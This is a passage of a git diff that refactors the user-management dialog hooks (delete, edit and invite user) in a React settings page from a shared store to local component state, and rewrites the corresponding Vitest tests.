-        hoisted.storeState.loginToDelete = null;
     });
 
     describe('initial state', () => {
@@ -56,83 +34,89 @@ describe('useDeleteUserAlertDialog', () => {
             const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             expect(result.current.open).toBe(false);
+            expect(result.current.deleteLogin).toBeNull();
         });
     });
 
     describe('open dialog', () => {
         it('opens dialog with login', () => {
-            const {rerender, result} = renderHook(() => useDeleteUserAlertDialog());
+            const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleOpen('admin');
+                result.current.handleDeleteUserAlertDialogOpen('admin');
             });
 
-            rerender();
-
             expect(result.current.open).toBe(true);
+            expect(result.current.deleteLogin).toBe('admin');
         });
 
         it('opens dialog with null login', () => {
-            const {rerender, result} = renderHook(() => useDeleteUserAlertDialog());
+            const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleOpen(null);
+                result.current.handleDeleteUserAlertDialogOpen(null);
             });
 
-            rerender();
-
             expect(result.current.open).toBe(false);
+            expect(result.current.deleteLogin).toBeNull();
         });
     });
 
     describe('close dialog', () => {
         it('closes dialog', () => {
-            hoisted.storeState.loginToDelete = 'admin';
-            const {rerender, result} = renderHook(() => useDeleteUserAlertDialog());
+            const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleClose();
+                result.current.handleDeleteUserAlertDialogOpen('admin');
             });
 
-            rerender();
+            act(() => {
+                result.current.handleDeleteUserAlertDialogClose();
+            });
 
             expect(result.current.open).toBe(false);
+            expect(result.current.deleteLogin).toBeNull();
         });
     });
 
     describe('handle delete', () => {
         it('calls delete mutation with correct login', () => {
-            hoisted.storeState.loginToDelete = 'admin';
             const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleDelete();
+                result.current.handleDeleteUserAlertDialogOpen('admin');
+            });
+
+            act(() => {
+                result.current.handleDeleteUserAlertDialogDelete();
             });
 
             expect(hoisted.deleteUserMutate).toHaveBeenCalledWith({login: 'admin'});
         });
 
-        it('does not call delete mutation when loginToDelete is null', () => {
+        it('does not call delete mutation when deleteLogin is null', () => {
             const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleDelete();
+                result.current.handleDeleteUserAlertDialogDelete();
             });
 
             expect(hoisted.deleteUserMutate).not.toHaveBeenCalled();
         });
 
         it('closes dialog after successful delete', () => {
-            hoisted.storeState.loginToDelete = 'admin';
-            const {rerender, result} = renderHook(() => useDeleteUserAlertDialog());
+            const {result} = renderHook(() => useDeleteUserAlertDialog());
 
             act(() => {
-                result.current.handleDelete();
+                result.current.handleDeleteUserAlertDialogOpen('admin');
             });
 
-            rerender();
+            act(() => {
+                result.current.handleDeleteUserAlertDialogDelete();
+            });
 
             expect(result.current.open).toBe(false);
+            expect(result.current.deleteLogin).toBeNull();
         });
     });
 });
diff --git a/client/src/pages/settings/platform/users/components/hooks/tests/useEditUserDialog.test.tsx b/client/src/pages/settings/platform/users/components/hooks/tests/useEditUserDialog.test.tsx
index 64c5d09d247..abda52173d5 100644
--- a/client/src/pages/settings/platform/users/components/hooks/tests/useEditUserDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/hooks/tests/useEditUserDialog.test.tsx
@@ -5,39 +5,10 @@ import useEditUserDialog from '../useEditUserDialog';
 
 const hoisted = vi.hoisted(() => {
     return {
-        storeState: {
-            clearLoginToEdit: vi.fn(),
-            editRole: null as string | null,
-            loginToEdit: null as string | null,
-            setEditRole: vi.fn(),
-            setLoginToEdit: vi.fn(),
-        },
         updateUserMutate: vi.fn(),
     };
 });
 
-vi.mock('@/pages/settings/platform/users/stores/useEditUserDialogStore', () => ({
-    useEditUserDialogStore: vi.fn(() => {
-        return {
-            clearLoginToEdit: () => {
-                hoisted.storeState.editRole = null;
-                hoisted.storeState.loginToEdit = null;
-                hoisted.storeState.clearLoginToEdit();
-            },
-            editRole: hoisted.storeState.editRole,
-            loginToEdit: hoisted.storeState.loginToEdit,
-            setEditRole: (role: string) => {
-                hoisted.storeState.editRole = role;
-                hoisted.storeState.setEditRole(role);
-            },
-            setLoginToEdit: (login: string) => {
-                hoisted.storeState.loginToEdit = login;
-                hoisted.storeState.setLoginToEdit(login);
-            },
-        };
-    }),
-}));
-
 vi.mock('@/shared/middleware/graphql', () => ({
     useAuthoritiesQuery: vi.fn(() => ({
         data: {authorities: ['ROLE_ADMIN', 'ROLE_USER']},
@@ -89,8 +60,6 @@ vi.mock('@tanstack/react-query', () => ({
 describe('useEditUserDialog', () => {
     beforeEach(() => {
         vi.clearAllMocks();
-        hoisted.storeState.editRole = null;
-        hoisted.storeState.loginToEdit = null;
     });
 
     describe('initial state', () => {
@@ -116,30 +85,64 @@ describe('useEditUserDialog', () => {
     });
 
     describe('open dialog', () => {
-        it('opens dialog', () => {
-            const {rerender, result} = renderHook(() => useEditUserDialog());
+        it('opens dialog and sets user and role', () => {
+            const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleOpen('admin');
+                result.current.handleEditUserDialogOpen('admin');
             });
 
-            rerender();
-
             expect(result.current.open).toBe(true);
+            expect(result.current.editRole).toBe('ROLE_ADMIN');
             expect(result.current.editUser?.login).toBe('admin');
         });
+
+        it('sets correct role for different user', () => {
+            const {result} = renderHook(() => useEditUserDialog());
+
+            act(() => {
+                result.current.handleEditUserDialogOpen('user');
+            });
+
+            expect(result.current.open).toBe(true);
+            expect(result.current.editRole).toBe('ROLE_USER');
+            expect(result.current.editUser?.login).toBe('user');
+        });
+
+        it('falls back to first authority when user has no role', () => {
+            const {result} = renderHook(() => useEditUserDialog());
+
+            act(() => {
+                result.current.handleEditUserDialogOpen('unknown');
+            });
+
+            expect(result.current.open).toBe(true);
+            expect(result.current.editRole).toBe('ROLE_ADMIN');
+            expect(result.current.editUser).toBeNull();
+        });
+
+        it('sets updateDisabled to false when dialog is open with role', () => {
+            const {result} = renderHook(() => useEditUserDialog());
+
+            act(() => {
+                result.current.handleEditUserDialogOpen('admin');
+            });
+
+            expect(result.current.updateDisabled).toBe(false);
+        });
     });
 
     describe('close dialog', () => {
         it('closes dialog', () => {
-            hoisted.storeState.loginToEdit = 'admin';
-            const {rerender, result} = renderHook(() => useEditUserDialog());
+            const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleClose();
+                result.current.handleEditUserDialogOpen('admin');
             });
 
-            rerender();
+            act(() => {
+                result.current.handleEditUserDialogClose();
+            });
 
             expect(result.current.open).toBe(false);
         });
@@ -147,27 +150,45 @@ describe('useEditUserDialog', () => {
 
     describe('update role', () => {
         it('updates edit role', () => {
-            hoisted.storeState.loginToEdit = 'admin';
-            const {rerender, result} = renderHook(() => useEditUserDialog());
+            const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleRoleChange('ROLE_USER');
+                result.current.handleEditUserDialogOpen('admin');
             });
 
-            rerender();
+            act(() => {
+                result.current.setEditRole('ROLE_USER');
+            });
 
             expect(result.current.editRole).toBe('ROLE_USER');
         });
+
+        it('sets updateDisabled to true when role is null', () => {
+            const {result} = renderHook(() => useEditUserDialog());
+
+            act(() => {
+                result.current.handleEditUserDialogOpen('admin');
+            });
+
+            act(() => {
+                result.current.setEditRole(null);
+            });
+
+            expect(result.current.updateDisabled).toBe(true);
+        });
     });
 
     describe('handle update', () => {
         it('calls update mutation with correct parameters', () => {
-            hoisted.storeState.loginToEdit = 'admin';
-            hoisted.storeState.editRole = 'ROLE_USER';
             const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleUpdate();
+                result.current.handleEditUserDialogOpen('admin');
+                result.current.setEditRole('ROLE_USER');
+            });
+
+            act(() => {
+                result.current.handleEditUserDialogUpdate();
             });
 
             expect(hoisted.updateUserMutate).toHaveBeenCalledWith({
@@ -180,22 +201,37 @@ describe('useEditUserDialog', () => {
             const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleUpdate();
+                result.current.handleEditUserDialogUpdate();
+            });
+
+            expect(hoisted.updateUserMutate).not.toHaveBeenCalled();
+        });
+
+        it('does not call update mutation when editRole is null', () => {
+            const {result} = renderHook(() => useEditUserDialog());
+
+            act(() => {
+                result.current.handleEditUserDialogOpen('admin');
+                result.current.setEditRole(null);
+            });
+
+            act(() => {
+                result.current.handleEditUserDialogUpdate();
             });
 
             expect(hoisted.updateUserMutate).not.toHaveBeenCalled();
         });
 
         it('closes dialog after successful update', () => {
-            hoisted.storeState.loginToEdit = 'admin';
-            hoisted.storeState.editRole = 'ROLE_ADMIN';
-            const {rerender, result} = renderHook(() => useEditUserDialog());
+            const {result} = renderHook(() => useEditUserDialog());
 
             act(() => {
-                result.current.handleUpdate();
+                result.current.handleEditUserDialogOpen('admin');
             });
 
-            rerender();
+            act(() => {
+                result.current.handleEditUserDialogUpdate();
+            });
 
             expect(result.current.open).toBe(false);
         });
diff --git a/client/src/pages/settings/platform/users/components/hooks/tests/useInviteUserDialog.test.tsx b/client/src/pages/settings/platform/users/components/hooks/tests/useInviteUserDialog.test.tsx
index d6ef3de4ded..bc863cb7486 100644
--- a/client/src/pages/settings/platform/users/components/hooks/tests/useInviteUserDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/hooks/tests/useInviteUserDialog.test.tsx
@@ -6,53 +6,9 @@ import useInviteUserDialog from '../useInviteUserDialog';
 const hoisted = vi.hoisted(() => {
     return {
         inviteUserMutate: vi.fn(),
-        storeState: {
-            inviteEmail: '',
-            invitePassword: 'GeneratedPass1',
-            inviteRole: null as string | null,
-            open: false,
-            regeneratePassword: vi.fn(),
-            reset: vi.fn(),
-            setInviteEmail: vi.fn(),
-            setInviteRole: vi.fn(),
-            setOpen: vi.fn(),
-        },
     };
 });
 
-vi.mock('@/pages/settings/platform/users/stores/useInviteUserDialogStore', () => ({
-    useInviteUserDialogStore: vi.fn(() => {
-        return {
-            inviteEmail: hoisted.storeState.inviteEmail,
-            invitePassword: hoisted.storeState.invitePassword,
-            inviteRole: hoisted.storeState.inviteRole,
-            open: hoisted.storeState.open,
-            regeneratePassword: () => {
-                hoisted.storeState.regeneratePassword();
-            },
-            reset: () => {
-                hoisted.storeState.inviteEmail = '';
-                hoisted.storeState.invitePassword = 'GeneratedPass1';
-                hoisted.storeState.inviteRole = null;
-                hoisted.storeState.open = false;
-                hoisted.storeState.reset();
-            },
-            setInviteEmail: (email: string) => {
-                hoisted.storeState.inviteEmail = email;
-                hoisted.storeState.setInviteEmail(email);
-            },
-            setInviteRole: (role: string) => {
-                hoisted.storeState.inviteRole = role;
-                hoisted.storeState.setInviteRole(role);
-            },
-            setOpen: () => {
-                hoisted.storeState.open = true;
-                hoisted.storeState.setOpen();
-            },
-        };
-    }),
-}));
-
 vi.mock('@/pages/settings/platform/users/util/password-utils', () => ({
     generatePassword: vi.fn(() => 'GeneratedPass1'),
     isValidPassword: vi.fn((password: string) => password.length >= 8 && /[A-Z]/.test(password) && /\d/.test(password)),
@@ -79,10 +35,6 @@ vi.mock('@tanstack/react-query', () => ({
 describe('useInviteUserDialog', () => {
     beforeEach(() => {
         vi.clearAllMocks();
-        hoisted.storeState.inviteEmail = '';
-        hoisted.storeState.invitePassword = 'GeneratedPass1';
-        hoisted.storeState.inviteRole = null;
-        hoisted.storeState.open = false;
     });
 
     describe('initial state', () => {
@@ -109,29 +61,29 @@ describe('useInviteUserDialog', () => {
     });
 
     describe('open dialog', () => {
-        it('opens dialog', () => {
-            const {rerender, result} = renderHook(() => useInviteUserDialog());
+        it('opens dialog and sets default role', () => {
+            const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleOpen();
+                result.current.handleInviteUserDialogOpen();
             });
 
-            rerender();
-
             expect(result.current.open).toBe(true);
+            expect(result.current.inviteRole).toBe('ROLE_ADMIN');
         });
     });
 
     describe('close dialog', () => {
         it('closes dialog', () => {
-            hoisted.storeState.open = true;
-            const {rerender, result} = renderHook(() => useInviteUserDialog());
+            const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleClose();
+                result.current.handleInviteUserDialogOpen();
             });
 
-            rerender();
+            act(() => {
+                result.current.handleInviteUserDialogClose();
+            });
 
             expect(result.current.open).toBe(false);
         });
@@ -139,39 +91,72 @@ describe('useInviteUserDialog', () => {
 
     describe('update fields', () => {
         it('updates invite email', () => {
-            const {rerender, result} = renderHook(() => useInviteUserDialog());
+            const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleEmailChange('newuser@test.com');
+                result.current.setInviteEmail('newuser@test.com');
             });
 
-            rerender();
-
             expect(result.current.inviteEmail).toBe('newuser@test.com');
         });
 
         it('updates invite role', () => {
-            const {rerender, result} = renderHook(() => useInviteUserDialog());
+            const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleRoleChange('ROLE_USER');
+                result.current.setInviteRole('ROLE_USER');
             });
 
-            rerender();
-
             expect(result.current.inviteRole).toBe('ROLE_USER');
         });
+
+        it('regenerates password', () => {
+            const {result} = renderHook(() => useInviteUserDialog());
+
+            const initialPassword = result.current.invitePassword;
+
+            act(() => {
+                result.current.handleInviteUserDialogRegeneratePassword();
+            });
+
+            expect(result.current.invitePassword).toBe(initialPassword);
+        });
+    });
+
+    describe('inviteDisabled', () => {
+        it('is true when email is empty', () => {
+            const {result} = renderHook(() => useInviteUserDialog());
+
+            act(() => {
+                result.current.handleInviteUserDialogOpen();
+            });
+
+            expect(result.current.inviteDisabled).toBe(true);
+        });
+
+        it('is false when all fields are valid', () => {
+            const {result} = renderHook(() => useInviteUserDialog());
+
+            act(() => {
+                result.current.handleInviteUserDialogOpen();
+                result.current.setInviteEmail('test@test.com');
+            });
+
+            expect(result.current.inviteDisabled).toBe(false);
+        });
     });
 
     describe('handle invite', () => {
         it('calls invite mutation with correct parameters', () => {
-            hoisted.storeState.open = true;
-            hoisted.storeState.inviteEmail = 'newuser@test.com';
-            hoisted.storeState.inviteRole = 'ROLE_ADMIN';
             const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleInvite();
+                result.current.handleInviteUserDialogOpen();
+                result.current.setInviteEmail('newuser@test.com');
+            });
+
+            act(() => {
+                result.current.handleInviteUserDialogInvite();
             });
 
             expect(hoisted.inviteUserMutate).toHaveBeenCalledWith({
@@ -181,19 +166,21 @@ describe('useInviteUserDialog', () => {
             });
         });
 
-        it('closes dialog after successful invite', () => {
-            hoisted.storeState.open = true;
-            hoisted.storeState.inviteEmail = 'newuser@test.com';
-            hoisted.storeState.inviteRole = 'ROLE_ADMIN';
-            const {rerender, result} = renderHook(() => useInviteUserDialog());
+        it('resets invite state after successful invite', () => {
+            const {result} = renderHook(() => useInviteUserDialog());
 
             act(() => {
-                result.current.handleInvite();
+                result.current.handleInviteUserDialogOpen();
+                result.current.setInviteEmail('newuser@test.com');
             });
 
-            rerender();
+            act(() => {
+                result.current.handleInviteUserDialogInvite();
+            });
 
             expect(result.current.open).toBe(false);
+            expect(result.current.inviteEmail).toBe('');
+            expect(result.current.inviteRole).toBeNull();
         });
     });
 });
diff --git a/client/src/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog.ts b/client/src/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog.ts
index abc8d2d60fc..f8717e5f61e 100644
--- a/client/src/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog.ts
+++ b/client/src/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog.ts
@@ -1,52 +1,46 @@
-import {useDeleteUserDialogStore} from '@/pages/settings/platform/users/stores/useDeleteUserDialogStore';
 import {useDeleteUserMutation} from '@/shared/middleware/graphql';
 import {useQueryClient} from '@tanstack/react-query';
+import {useState} from 'react';
 
 interface UseDeleteUserAlertDialogI {
-    handleClose: () => void;
-    handleDelete: () => void;
-    handleOpen: (login: string | null) => void;
-    handleOpenChange: (open: boolean) => void;
+    deleteLogin: string | null;
+    handleDeleteUserAlertDialogClose: () => void;
+    handleDeleteUserAlertDialogDelete: () => void;
+    handleDeleteUserAlertDialogOpen: (login: string | null) => void;
     open: boolean;
 }
 
 export default function useDeleteUserAlertDialog(): UseDeleteUserAlertDialogI {
-    const {clearLoginToDelete, loginToDelete, setLoginToDelete} = useDeleteUserDialogStore();
+    const [deleteLogin, setDeleteLogin] = useState<string | null>(null);
 
     const queryClient = useQueryClient();
 
     const deleteUserMutation = useDeleteUserMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ['users']});
-            clearLoginToDelete();
+            setDeleteLogin(null);
         },
     });
 
     const handleClose = () => {
-        clearLoginToDelete();
-    };
-
-    const handleOpen = (login: string | null) => {
-        setLoginToDelete(login);
+        setDeleteLogin(null);
     };
 
     const handleDelete = () => {
-        if (loginToDelete) {
-            deleteUserMutation.mutate({login: loginToDelete});
+        if (deleteLogin) {
+            deleteUserMutation.mutate({login: deleteLogin});
         }
     };
 
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
+    const handleOpen = (login: string | null) => {
+        setDeleteLogin(login);
     };
 
     return {
-        handleClose,
-        handleDelete,
-        handleOpen,
-        handleOpenChange,
-        open: loginToDelete !== null,
+        deleteLogin,
+        handleDeleteUserAlertDialogClose: handleClose,
+        handleDeleteUserAlertDialogDelete: handleDelete,
+        handleDeleteUserAlertDialogOpen: handleOpen,
+        open: !!deleteLogin,
     };
 }
diff --git a/client/src/pages/settings/platform/users/components/hooks/useEditUserDialog.ts b/client/src/pages/settings/platform/users/components/hooks/useEditUserDialog.ts
index 09672eaca21..d5029d6ec9e 100644
--- a/client/src/pages/settings/platform/users/components/hooks/useEditUserDialog.ts
+++ b/client/src/pages/settings/platform/users/components/hooks/useEditUserDialog.ts
@@ -1,23 +1,22 @@
-import {useEditUserDialogStore} from '@/pages/settings/platform/users/stores/useEditUserDialogStore';
 import {useAuthoritiesQuery, useUpdateUserMutation, useUsersQuery} from '@/shared/middleware/graphql';
 import {useQueryClient} from '@tanstack/react-query';
-import {useEffect, useMemo} from 'react';
+import {Dispatch, SetStateAction, useMemo, useState} from 'react';
 
 interface UseEditUserDialogI {
     authorities: string[];
     editRole: string | null;
     editUser: {email?: string | null; login?: string | null; authorities?: (string | null)[] | null} | null;
-    handleClose: () => void;
-    handleOpen: (login: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRoleChange: (role: string) => void;
-    handleUpdate: () => void;
+    handleEditUserDialogClose: () => void;
+    handleEditUserDialogOpen: (login: string) => void;
+    handleEditUserDialogUpdate: () => void;
     open: boolean;
+    setEditRole: Dispatch<SetStateAction<string | null>>;
     updateDisabled: boolean;
 }
 
 export default function useEditUserDialog(): UseEditUserDialogI {
-    const {clearLoginToEdit, editRole, loginToEdit, setEditRole, setLoginToEdit} = useEditUserDialogStore();
+    const [editLogin, setEditLogin] = useState<string | null>(null);
+    const [editRole, setEditRole] = useState<string | null>(null);
 
     const {data: usersData} = useUsersQuery({});
     const {data: authoritiesData} = useAuthoritiesQuery({});
@@ -27,64 +26,48 @@ export default function useEditUserDialog(): UseEditUserDialogI {
     const updateUserMutation = useUpdateUserMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ['users']});
-            clearLoginToEdit();
+            setEditLogin(null);
         },
     });
 
     const authorities = useMemo(() => authoritiesData?.authorities ?? [], [authoritiesData]);
     const users = useMemo(() => usersData?.users?.content ?? [], [usersData]);
-    const updateDisabled = !loginToEdit || !editRole;
+    const updateDisabled = !editLogin || !editRole;
 
-    const editUser = users.find((user) => user?.login === loginToEdit) || null;
+    const editUser = users.find((user) => user?.login === editLogin) || null;
 
-    useEffect(() => {
-        if (loginToEdit) {
-            const current = users.find((user) => user?.login === loginToEdit);
-            const currentRole = current?.authorities?.[0] ?? authorities[0] ?? null;
+    const handleOpen = (login: string) => {
+        setEditLogin(login);
 
-            if (currentRole) {
-                setEditRole(currentRole);
-            }
-        }
-    }, [loginToEdit, users, authorities, setEditRole]);
+        const current = users.find((user) => user?.login === login);
 
-    const handleClose = () => {
-        clearLoginToEdit();
-    };
+        const currentRole = current?.authorities?.[0] ?? null;
 
-    const handleOpen = (login: string) => {
-        setLoginToEdit(login);
+        setEditRole(currentRole ?? authorities[0] ?? null);
     };
 
-    const handleRoleChange = (role: string) => {
-        setEditRole(role);
+    const handleClose = () => {
+        setEditLogin(null);
     };
 
     const handleUpdate = () => {
-        if (loginToEdit && editRole) {
+        if (editLogin && editRole) {
             updateUserMutation.mutate({
-                login: loginToEdit,
+                login: editLogin,
                 role: editRole,
             });
         }
     };
 
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
     return {
         authorities,
         editRole,
         editUser,
-        handleClose,
-        handleOpen,
-        handleOpenChange,
-        handleRoleChange,
-        handleUpdate,
-        open: loginToEdit !== null,
+        handleEditUserDialogClose: handleClose,
+        handleEditUserDialogOpen: handleOpen,
+        handleEditUserDialogUpdate: handleUpdate,
+        open: !!editLogin,
+        setEditRole,
         updateDisabled,
     };
 }
diff --git a/client/src/pages/settings/platform/users/components/hooks/useInviteUserDialog.ts b/client/src/pages/settings/platform/users/components/hooks/useInviteUserDialog.ts
index f45c0fc9314..4aa4da0a3fe 100644
--- a/client/src/pages/settings/platform/users/components/hooks/useInviteUserDialog.ts
+++ b/client/src/pages/settings/platform/users/components/hooks/useInviteUserDialog.ts
@@ -1,37 +1,28 @@
-import {useInviteUserDialogStore} from '@/pages/settings/platform/users/stores/useInviteUserDialogStore';
-import {isValidPassword} from '@/pages/settings/platform/users/util/password-utils';
+import {generatePassword, isValidPassword} from '@/pages/settings/platform/users/util/password-utils';
 import {useAuthoritiesQuery, useInviteUserMutation} from '@/shared/middleware/graphql';
 import {useQueryClient} from '@tanstack/react-query';
-import {useEffect, useMemo} from 'react';
+import {Dispatch, SetStateAction, useMemo, useState} from 'react';
 
 interface UseInviteUserDialogI {
     authorities: string[];
-    handleClose: () => void;
-    handleEmailChange: (email: string) => void;
-    handleInvite: () => void;
-    handleOpen: () => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRegeneratePassword: () => void;
-    handleRoleChange: (role: string) => void;
+    handleInviteUserDialogClose: () => void;
+    handleInviteUserDialogInvite: () => void;
+    handleInviteUserDialogOpen: () => void;
+    handleInviteUserDialogRegeneratePassword: () => void;
     inviteDisabled: boolean;
     inviteEmail: string;
     invitePassword: string;
     inviteRole: string | null;
     open: boolean;
+    setInviteEmail: Dispatch<SetStateAction<string>>;
+    setInviteRole: Dispatch<SetStateAction<string | null>>;
 }
 
 export default function useInviteUserDialog(): UseInviteUserDialogI {
-    const {
-        inviteEmail,
-        invitePassword,
-        inviteRole,
-        open,
-        regeneratePassword,
-        reset,
-        setInviteEmail,
-        setInviteRole,
-        setOpen,
-    } = useInviteUserDialogStore();
+    const [inviteOpen, setInviteOpen] = useState(false);
+    const [inviteEmail, setInviteEmail] = useState('');
+    const [invitePassword, setInvitePassword] = useState(generatePassword());
+    const [inviteRole, setInviteRole] = useState<string | null>(null);
 
     const {data: authoritiesData} = useAuthoritiesQuery({});
 
@@ -39,69 +30,54 @@ export default function useInviteUserDialog(): UseInviteUserDialogI {
 
     const inviteUserMutation = useInviteUserMutation({
         onSuccess: () => {
+            const newPassword = generatePassword();
+
             queryClient.invalidateQueries({queryKey: ['users']});
-            reset();
+            setInviteOpen(false);
+            setInviteEmail('');
+            setInvitePassword(newPassword);
+            setInviteRole(null);
         },
     });
 
     const authorities = useMemo(() => authoritiesData?.authorities ?? [], [authoritiesData]);
     const inviteDisabled = !inviteEmail || !inviteRole || !isValidPassword(invitePassword);
 
-    useEffect(() => {
-        if (open && !inviteRole && authorities.length > 0) {
-            setInviteRole(authorities[0]);
-        }
-    }, [open, inviteRole, authorities, setInviteRole]);
-
-    const handleClose = () => {
-        reset();
-    };
-
     const handleOpen = () => {
-        setOpen();
+        setInviteOpen(true);
+        setInviteRole((authorities && authorities.length > 0 && authorities[0]) || null);
     };
 
-    const handleEmailChange = (email: string) => {
-        setInviteEmail(email);
+    const handleClose = () => {
+        setInviteOpen(false);
     };
 
-    const handleRoleChange = (role: string) => {
-        setInviteRole(role);
+    const handleInvite = () => {
+        inviteUserMutation.mutate({
+            email: inviteEmail,
+            password: invitePassword,
+            role: inviteRole as string,
+        });
     };
 
     const handleRegeneratePassword = () => {
-        regeneratePassword();
-    };
+        const newPassword = generatePassword();
 
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    const handleInvite = () => {
-        if (inviteEmail && inviteRole) {
-            inviteUserMutation.mutate({
-                email: inviteEmail,
-                password: invitePassword,
-                role: inviteRole,
-            });
-        }
+        setInvitePassword(newPassword);
     };
 
     return {
         authorities,
-        handleClose,
-        handleEmailChange,
-        handleInvite,
-        handleOpen,
-        handleOpenChange,
-        handleRegeneratePassword,
-        handleRoleChange,
+        handleInviteUserDialogClose: handleClose,
+        handleInviteUserDialogInvite: handleInvite,
+        handleInviteUserDialogOpen: handleOpen,
+        handleInviteUserDialogRegeneratePassword: handleRegeneratePassword,
         inviteDisabled,
         inviteEmail,
         invitePassword,
         inviteRole,
-        open,
+        open: inviteOpen,
+        setInviteEmail,
+        setInviteRole,
     };
 }
diff --git a/client/src/pages/settings/platform/users/components/tests/DeleteUserAlertDialog.test.tsx b/client/src/pages/settings/platform/users/components/tests/DeleteUserAlertDialog.test.tsx
index 0554637d631..de6ceafac2f 100644
--- a/client/src/pages/settings/platform/users/components/tests/DeleteUserAlertDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/tests/DeleteUserAlertDialog.test.tsx
@@ -1,12 +1,14 @@
 import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
+import {createRef} from 'react';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
-import DeleteUserAlertDialog from '../DeleteUserAlertDialog';
+import DeleteUserAlertDialog, {DeleteUserAlertDialogRefI} from '../DeleteUserAlertDialog';
 
 const hoisted = vi.hoisted(() => {
     return {
-        handleClose: vi.fn(),
-        handleDelete: vi.fn(),
+        handleDeleteUserAlertDialogClose: vi.fn(),
+        handleDeleteUserAlertDialogDelete: vi.fn(),
+        handleDeleteUserAlertDialogOpen: vi.fn(),
         mockUseDeleteUserAlertDialog: vi.fn(),
     };
 });
@@ -16,9 +18,10 @@ vi.mock('../hooks/useDeleteUserAlertDialog', () => ({
 }));
 
 const defaultMockReturn = {
-    handleClose: hoisted.handleClose,
-    handleDelete: hoisted.handleDelete,
-    handleOpen: vi.fn(),
+    deleteLogin: 'admin',
+    handleDeleteUserAlertDialogClose: hoisted.handleDeleteUserAlertDialogClose,
+    handleDeleteUserAlertDialogDelete: hoisted.handleDeleteUserAlertDialogDelete,
+    handleDeleteUserAlertDialogOpen: hoisted.handleDeleteUserAlertDialogOpen,
     open: true,
 };
 
@@ -33,7 +36,10 @@ afterEach(() => {
 });
 
 const renderDeleteUserAlertDialog = () => {
-    return render(<DeleteUserAlertDialog />);
+    const ref = createRef<DeleteUserAlertDialogRefI>();
+    const result = render(<DeleteUserAlertDialog ref={ref} />);
+
+    return {...result, ref};
 };
 
 describe('DeleteUserAlertDialog', () => {
@@ -58,31 +64,47 @@ describe('DeleteUserAlertDialog', () => {
         expect(screen.getByRole('button', {name: 'Delete'})).toBeInTheDocument();
     });
 
-    it('should call handleDelete when clicking Delete button', async () => {
+    it('should call handleDeleteUserAlertDialogDelete when clicking Delete button', async () => {
         renderDeleteUserAlertDialog();
 
         const deleteButton = screen.getByRole('button', {name: 'Delete'});
         await userEvent.click(deleteButton);
 
-        expect(hoisted.handleDelete).toHaveBeenCalledTimes(1);
+        expect(hoisted.handleDeleteUserAlertDialogDelete).toHaveBeenCalledTimes(1);
     });
 
-    it('should call handleClose when clicking Cancel button', async () => {
+    it('should call handleDeleteUserAlertDialogClose when clicking Cancel button', async () => {
         renderDeleteUserAlertDialog();
 
         const cancelButton = screen.getByRole('button', {name: 'Cancel'});
         await userEvent.click(cancelButton);
 
-        expect(hoisted.handleClose).toHaveBeenCalledTimes(1);
+        expect(hoisted.handleDeleteUserAlertDialogClose).toHaveBeenCalledTimes(1);
+    });
+
+    it('should expose open method via ref', () => {
+        const {ref} = renderDeleteUserAlertDialog();
+
+        expect(ref.current).not.toBeNull();
+        expect(typeof ref.current?.open).toBe('function');
+    });
+
+    it('should call handleDeleteUserAlertDialogOpen when open method is called via ref', () => {
+        const {ref} = renderDeleteUserAlertDialog();
+
+        ref.current?.open('testuser');
+
+        expect(hoisted.handleDeleteUserAlertDialogOpen).toHaveBeenCalledWith('testuser');
     });
 });
 
 describe('DeleteUserAlertDialog closed state', () => {
     beforeEach(() => {
         hoisted.mockUseDeleteUserAlertDialog.mockReturnValue({
-            handleClose: hoisted.handleClose,
-            handleDelete: hoisted.handleDelete,
-            handleOpen: vi.fn(),
+            deleteLogin: null,
+            handleDeleteUserAlertDialogClose: hoisted.handleDeleteUserAlertDialogClose,
+            handleDeleteUserAlertDialogDelete: hoisted.handleDeleteUserAlertDialogDelete,
+            handleDeleteUserAlertDialogOpen: hoisted.handleDeleteUserAlertDialogOpen,
             open: false,
         });
     });
diff --git a/client/src/pages/settings/platform/users/components/tests/EditUserDialog.test.tsx b/client/src/pages/settings/platform/users/components/tests/EditUserDialog.test.tsx
index 695b23ccecb..e46ed4c9608 100644
--- a/client/src/pages/settings/platform/users/components/tests/EditUserDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/tests/EditUserDialog.test.tsx
@@ -1,14 +1,16 @@
 import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
+import {createRef} from 'react';
